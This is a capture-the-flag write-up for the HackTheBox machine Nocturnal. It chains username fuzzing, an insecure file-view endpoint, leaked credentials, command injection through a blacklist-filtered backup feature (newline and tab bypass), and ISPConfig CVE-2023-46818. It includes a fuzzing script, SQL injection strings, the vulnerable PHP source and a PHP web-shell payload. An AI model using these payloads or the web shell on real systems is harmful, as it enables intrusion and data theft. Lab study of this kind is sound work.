14 min read

[HackTheBox] Nocturnal

[Machine Details]

Machine Name Difficulty OS Release Date Machine Author
Nocturnal Easy Linux April 13 2025 FisMatHack

🧩 About Nocturnal

Nocturnal is an easy-difficulty Linux machine that showcases how multiple small misconfigurations can be chained together for a system compromise.

The machine walks you through the entire attack lifecycle, including:

  • 🔍 Reconnaissance using Nmap and manual web inspection
  • 🧪 Exploitation of weak file access controls and insecure coding practices
  • 🐚 Command Injection through a flawed backup feature
  • 📦 Sensitive Data Exposure via downloadable documents and leaked credentials
  • 🔐 Lateral Movement by accessing internal services through local port forwarding
  • 💥 Remote Code Execution (RCE) using a real-world vulnerability (CVE-2023-46818)
  • 👑 Privilege Escalation to root by chaining poor password practices with exploitable software

The journey emphasizes the impact of password reuse, lack of proper access control, and blacklist-based filtering, all of which contribute to the machine’s downfall.

Nocturnal is a great machine for practicing:

  • Web application analysis
  • PHP vulnerability exploitation
  • Post-exploitation enumeration
  • Real-world CVE exploitation

[Reconnaissance]

💻 NMAP Scan

A targeted NMAP scan against the machine nocturnal.htb revealed 2 ports:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 09:06 EDT
Nmap scan report for nocturnal.htb (10.129.146.212)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Port 22 (SSH)
    The SSH service is running Open SSH 8.2p1, a common version found on Ubuntu systems. This could potentially be used for remote access if valid credentials or a private SSH key can be obtained.
  • Port 80 (HTTP)
    A web service is running an Nginx web server. The HTTP title suggests a custom web application is in place. The HTTP response headers confirmed the server type, and a session cookie (PHPSESSID) was observed.

🕵️ Manual Inspection

  • Software Technologies
    • The web application is running behind an nginx 1.18.0 web server on an Ubuntu operating system.
    • It's built using PHP, and from initial observation, it appears to be a basic file management system.
    • The application lacks common security headers and cookie protections, such as HttpOnly, Secure, and SameSite.
  • Web Functionality
    • GET /
      • The homepage provides general information about the web app. It mentions that users can upload, access, and backup their files.
      • It displays a support email address: support@nocturnal.htb.
      • A session cookie named PHPSESSID is issued, indicating the site uses session-based authentication.
    • POST /register.php
      • The registration endpoint allows users to sign up by providing just a username and password.
      • There is no email verification, no password complexity requirements, and no protections like reCAPTCHA to prevent bots or spam registrations.
    • POST /login.php
      • This endpoint handles user authentication. After submitting a valid username and password, the user is logged in.
      • There are no account lockout mechanisms or other brute-force protections, leaving it open to password-guessing attacks.
      • It might also be vulnerable to SQL injection.
    • GET /dashboard.php
      • Once authenticated, users are redirected to the dashboard.
      • This page offers 2 core features for users: uploading files and viewing previously uploaded ones. The interface is minimal but functional, focusing primarily on file management.
    • POST /dashboard.php
      • The file upload feature restricts users to the following file types: pdf, doc, docx, xls, xlsx, and odt.
      • Although it’s possible to bypass this file type check by modifying file extensions or mimicking allowed MIME types, doing so doesn’t lead to exploitation.
      • Uploaded files are automatically downloaded when accessed, rather than being rendered or executed, reducing the impact of malicious file uploads.
      • Attempts to traverse directories during upload are unsuccessful
    • GET /view.php?username={username}&file={sample.pdf}
      • This endpoint handles file downloads based on the specified username and file name.
      • Files cannot be viewed in-browser; instead, they are automatically downloaded.
      • When trying to modify the username parameter to another user (e.g., admin), the system responds with a "File does not exist." error.

[Exploitation]

🎯 Objective

Based on our manual inspection, the main point of interest for exploitation is the GET /view.php endpoint. Our goal here is to try and access or download files that belong to other users, which could lead to sensitive data exposure.

👣 Attack Vectors

Three potential avenues for exploitation were identified:

  1. SQL Injection in Login Page
    One classic method of bypassing authentication is through SQL Injection. If the login form is vulnerable, injecting a payload like ' OR 1=1–– into the username or password field might allow us to log in as any user without knowing valid credentials. Successfully exploiting this would give us access to another user's dashboard and potentially their uploaded files.
  2. SQL Injection in username Parameter
    The more interesting vector lies within the username parameter in the GET /view.php endpoint. We suspect that the backend query might look something like:
    SELECT * FROM files WHERE username = '{username}' AND file = '{filename}';

    If no input sanitization is in place, we could inject a payload such as:
    ' OR 1=1––

    This would change the SQL query to:
    SELECT * FROM files WHERE username = '' OR 1=1––' AND file = '{filename}';

    Simplified, it becomes:
    SELECT * FROM files WHERE 1=1;

    This would return all rows from the files table, potentially giving us access to every file uploaded by all users. That’s a major data exposure risk.
  3. Fuzzing the username Parameter
    Another approach is to perform username fuzzing. By using a wordlist of common usernames or names (e.g., admin, john, administrator, jane), we can automate requests to the GET /view.php endpoint with different usernames. Even if we provide a non-existent filename, a valid username might still return metadata or error messages that confirm the user's existence—or even reveal files uploaded by that user.

    If the backend doesn’t check whether the authenticated user is actually allowed to access the file they’re requesting, we may be able to enumerate files uploaded by other users, simply by guessing their usernames through fuzzing.

📖 Fuzzing over Injection

During our testing, we attempted SQL injection in 2 places:

  • The login page, using typical payloads like ' OR 1=1--, consistently returned Invalid username or password.
  • The username parameter in the view.php endpoint always replied with User not found. for each injection attempt.

These responses indicated that SQL injection might be unsuccessful or well-handled in these areas.

Instead of injection, we shifted our focus to fuzzing the username parameter in view.php. The idea was simple: if we supply usernames, we may observe a different error response like File does not exist. instead of User not found.

This would allow us to enumerate valid usernames on the system without needing direct access to the database.

So we wrote a simple Python script to perform the fuzzing:

import requests
from urllib.parse import urlencode

TARGET = "http://nocturnal.htb"
WORDLIST_URL = "https://raw.githubusercontent.com/huntergregal/wordlists/refs/heads/master/names.txt"

USERNAME = "motoh4ck3r"
PASSWORD = "br00mbr00m"

session = requests.Session()

def register():
    data = {"username": USERNAME, "password": PASSWORD}
    response = session.post(TARGET + "/register.php", data=data)
    if "Failed to register user." in response.text:
        print("[*] User already exists. Proceeding to login.")
    elif response.status_code == 302:
        print(f"[*] Registration successful for user '{USERNAME}' with password '{PASSWORD}'")

def login():
    data = {"username": USERNAME, "password": PASSWORD}
    response = session.post(TARGET + "/login.php", data=data)
    if "PHPSESSID" in session.cookies:
        print(f"[*] Logged in as {USERNAME}.")
    else:
        print("[!] Login failed. Exiting.")
        exit(1)

def fuzzUsernames():
    valid_usernames = []
    print("[*] Fetching wordlist and fuzzing usernames...")
    resp = requests.get(WORDLIST_URL)
    names = resp.text.strip().split("\n")
    for name in names:
        username = name.strip().lower()
        params = {"username": username, "file": "sample.pdf"}
        url = TARGET + "/view.php?" + urlencode(params)
        r = session.get(url)
        if "File does not exist." in r.text:
            print(f"[+] Valid username found: {username}")
            valid_usernames.append(username)
        elif "User not found." not in r.text:
            print(f"[?] Unexpected response for {username}: {r.text[:100]}")
    return valid_usernames

if __name__ == "__main__":
    register()
    login()
    valid_users = fuzzUsernames()
    print("\n[*] Valid usernames found:")
    for user in valid_users:
        print(user)

How it works?

  1. Register/Login – The script first registers a new user motoh4ck3r (or logs in if already registered) to gain access to the web app.
  2. Fuzzing – It downloads a list of common names from an online wordlist and makes requests to view.php?username={name}&file=sample.pdf for each one.
  3. Response Handling – It looks at the response:
    • If it says File does not exist., the username is valid!
    • If it says User not found., the username does not exist.
    • Any other response is flagged for further inspection.

Using this method, the script successfully discovered 2 valid usernames on the target web application: admin and amanda.

By the way, you could also use ffuf or BurpSuite's Intruder module to quickly identify the username, lol. I just like to practice Python coding from time to time.

📂 Unauthorized File Access

After identifying the valid usernames admin and amanda, our next step was to check if any files were accessible under the user amanda since we already tested admin earlier:

Surprisingly, this returned a downloadable file named privacy.odt.

Once we downloaded the .odt file, we extracted its contents and inspected the content.xml file within it. Inside, we found something very interesting, a hardcoded password for the user amanda.

The document also included a note from Nocturnal's IT team. It mentioned that they set temporary password for users, and these passwords are reused across all internal services.

This is a critical security issue. Using the same password across multiple services introduces a single point of failure if one service is compromised, all connected services become vulnerable.

👩‍💻 Logging In as amanda

With Amanda’s credentials recovered from the privacy.odt file, our next step was to log into the web application using her account. Since she appears to be a staff of Nocturnal, we were curious to see if her access level exposed any additional features.

After successfully logging in as Amanda, we noticed something new, an Admin Panel became available in the interface. This immediately stood out as a potential area for privilege escalation or deeper access to the application’s internals.

Once inside the Admin Panel, we were given access to view the file structure of the web application. The panel offered 2 main actions:

  1. View Contents of PHP files
    1. This lets us read the source code of the server-side application.
    2. Perfect for identifying vulnerabilities like hardcoded credentials, SQL queries, file upload logic, or misconfigurations.
  2. Create a Password-protected Backup
    1. This feature allows the generation of a full backup of the web application.
    2. The backup can be protected with a password provided by the user.

⚔️ Exploiting Admin Panel

To better understand the Admin Panel's inner workings, we reviewed the source code of the admin.php file. This file controls both the view and backup functionalities. We analyzed the backend and broke it down into 3 key sections, as seen in the code snippets below:

First section:

<?php
session_start();

if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
    header('Location: login.php');
    exit();
}

function sanitizeFilePath($filePath) {
    return basename($filePath); // Only gets the base name of the file
}

// List only PHP files in a directory
function listPhpFiles($dir) {
    $files = array_diff(scandir($dir), ['.', '..']);
    echo "<ul class='file-list'>";
    foreach ($files as $file) {
        $sanitizedFile = sanitizeFilePath($file);
        if (is_dir($dir . '/' . $sanitizedFile)) {
            // Recursively call to list files inside directories
            echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
            echo "<ul>";
            listPhpFiles($dir . '/' . $sanitizedFile);
            echo "</ul></li>";
        } else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
            // Show only PHP files
            echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
        }
    }
    echo "</ul>";
}

// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
    $file = sanitizeFilePath($_GET['view']);
    $filePath = __DIR__ . '/' . $file;
    if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
        $content = htmlspecialchars(file_get_contents($filePath));
    } else {
        $content = "File not found or invalid path.";
    }
}

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>

Second section:

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

Third section:

<?php if (isset($backupMessage)) { ?>
    <div class="message"><?php echo $backupMessage; ?></div>
<?php } ?>

Code Breakdown

  • View Functionality
    • Only users with the username admin or amanda are allowed to access the Admin Panel.
    • The application scans the directory and lists only .php files.
    • Users can only view the content of .php files, helping limit exposure to sensitive non-code files
  • Backup Functionality
    • Just like the view feature, only admin and amanda can use the backup function.
    • The application takes a user-supplied password to protect the backup archive.
    • The input password is passed through a sanitization function called cleanEntry(), which checks for a blacklist of characters: [';', '&', '|', '$', ' ', '`', '{', '}', '&&']
    • After that, the input is used in a command below to create a zip file containing the copy of the web application:
      $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

💉 Command Injection in Backup Function

Since the password input is directly passed into a shell command, a crafted payload that bypasses the blacklist can lead to Command Injection, allowing us to execute arbitrary system commands on the server.

The use of a blacklist-based sanitization for handling user input is a known weak point. While it blocks a handful of special characters, it doesn't cover all possible command injection techniques.

So to bypass the blacklist and inject commands, we used hex-encoded representations of certain ASCII characters that the cleanEntry() function does not account for.

Specifically, we injected: New Line (%0a) and Tab (%09)

These characters allowed us to break the structure of the shell command and inject our own logic while avoiding detection by the blacklist.

[Initial Access]

🗝️ Credential Exfiltration

With our command injection exploit successfully working, the next goal was to explore the file system and hunt for anything valuable like configurations, logs, or backups.

During this process, we discovered a folder named nocturnal_database. Inside, we found a database backup file, which immediately caught our attention.

Since we couldn’t download the file directly from the Admin Panel, we used a command injection payload to print the file’s content in base64 format. This made it easy to safely transfer the data back to our machine without breaking the output or running into binary formatting issues.

We copied the full base64 output, saved it locally, and then decoded it to restore the original database file.

After extracting and opening the database file, we found another set of credentials for a different user account.

The new credential could potentially give us access to new/other services, higher privileges, or even system-level access, depending on where they’re used.

👨‍💻 Logging In as tobias

After getting the credentials, I then proceed in cracking the hashes using CrackStation returning us the decoded password for tobias.

Using the decoded password, I was able to authenticate as tobias in the target machine.

[Privilege Escalation]

🕵️ Web Service Discovery

While operating under the user tobias, we continued our local recon and discovered additional services running on localhost. These were not exposed externally, so they required local access to investigate.

One of the interesting discoveries was port 8080, which revealed a web service running on the local machine.

To access this from our attacker machine, we established a local port forward using SSH:

ssh -L 8081:127.0.0.1:8080 tobias@nocturnal.htb

We then navigated to http://127.0.0.1:8081 on our machine and were greeted by the ISPConfig web interface.

ISPConfig is a popular open-source hosting control panel used to manage web servers, domains, mailboxes, and more.

After reviewing the page source and metadata, we identified that the installed version is: 3.2

A quick search on CVE Details revealed that ISPConfig 3.2 is vulnerable to Authenticated PHP Code Injection (CVE-2023-46818).

According to ISPConfig’s official advisory, this vulnerability allows an authenticated admin user to inject PHP code via the record parameter in the POST /admin/language_edit.php endpoint.

Earlier in our investigation, we discovered a reused password strategy mentioned in the privacy.odt file. Taking advantage of this, we successfully authenticated as the admin user, using Tobias's password.

⚔️ Exploiting ISPConfig

With valid admin credentials and confirmation that ISPConfig 3.2 is vulnerable to CVE-2023-46818, we proceeded to automate the exploitation by writing custom Python script.

My custom Python script is available at https://github.com/ajdumanhug/CVE-2023-46818. This script is based on the original proof of concept (PoC) written in PHP by Egidio Romano aka EgiX who reported this vulnerability: https://karmainsecurity.com/pocs/CVE-2023-46818.php

Below is a breakdown of how it works:

  • To run the script, we need to provide the target URL and valid admin credentials:
    python3 CVE-2023-46818.py <URL> <Username> <Password>
  • The script starts by authenticating with the provided credentials via the standard ISPConfig login endpoint (/login/). If successful, it maintains a session for the next steps.
  • Before performing the injection, the script sends a request to the language editor page to extract the required CSRF tokens: _csrf_id and _csrf_key. These are embedded in the HTML and are essential for a valid POST request.
  • Once the CSRF tokens are obtained, the script sends a crafted payload to the records parameter. The payload uses PHP to write a web shell (sh.php) on the server via the file_put_contents() function. The injected PHP payload:
    <?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>
    This shell is triggered via the C HTTP header, which allows us to send base64-encoded system commands.
  • After the web shell is written, the script opens a command-line interface, allowing us to interact with the server as if you're running commands locally.

We launched the Python script and got a fully functional interactive shell. But it's always better to have a root shell, so we executed a reverse shell.